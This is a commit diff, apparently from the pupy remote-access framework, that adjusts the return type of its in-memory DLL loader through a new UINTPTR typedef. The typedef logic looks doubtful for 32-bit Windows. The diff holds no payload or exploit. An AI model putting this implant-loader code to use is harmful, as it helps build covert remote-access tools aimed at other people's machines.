fix for load_dll on win 32bit (winpty was broken)

ru-faraon · May 16, 2017 · e72fe15 · e72fe15
1 parent 893fc97
commit e72fe15
Show file tree

Hide file tree

Showing 2 changed files with 19 additions and 2 deletions.
diff --git a/client/sources/Python-dynload.c b/client/sources/Python-dynload.c
@@ -7,6 +7,14 @@
 #include <stdio.h>
 #include "debug.h"
 
+#ifndef UINTPTR
+ #ifndef _WIN32
+   typedef DWORD UINTPTR;
+ #else
+   typedef ULONGLONG UINTPTR;
+ #endif
+#endif
+
 struct IMPORT imports[] = {
 #include "import-tab.c"
 	{ NULL, NULL }, /* sentinel */
@@ -65,7 +73,7 @@ int _load_python_FromFile(char *dllname)
 	return 1;
 }
 
-HMODULE _load_dll(const char *name, const char *bytes){
+UINTPTR _load_dll(const char *name, const char *bytes){
 
 	HMODULE hmod;
 	ULONG_PTR cookie = 0;

diff --git a/client/sources/pupy.c b/client/sources/pupy.c
@@ -10,7 +10,15 @@
 #include "base_inject.h"
 static char module_doc[] = "Builtins utilities for pupy";
 
-HMODULE _load_dll(const char *name, const char *bytes);
+#ifndef UINTPTR
+ #ifndef _WIN32
+   typedef DWORD UINTPTR;
+ #else
+   typedef ULONGLONG UINTPTR;
+ #endif
+#endif
+
+UINTPTR _load_dll(const char *name, const char *bytes);
 
 char pupy_config[32768]="####---PUPY_CONFIG_COMES_HERE---####\n"; //big array to have space for more config / code run at startup. scriptlets also takes more space !
 
@@ -131,3 +139,4 @@ initpupy(void)
     Py_INCREF(ExecError);
     PyModule_AddObject(pupy, "error", ExecError);
 }
+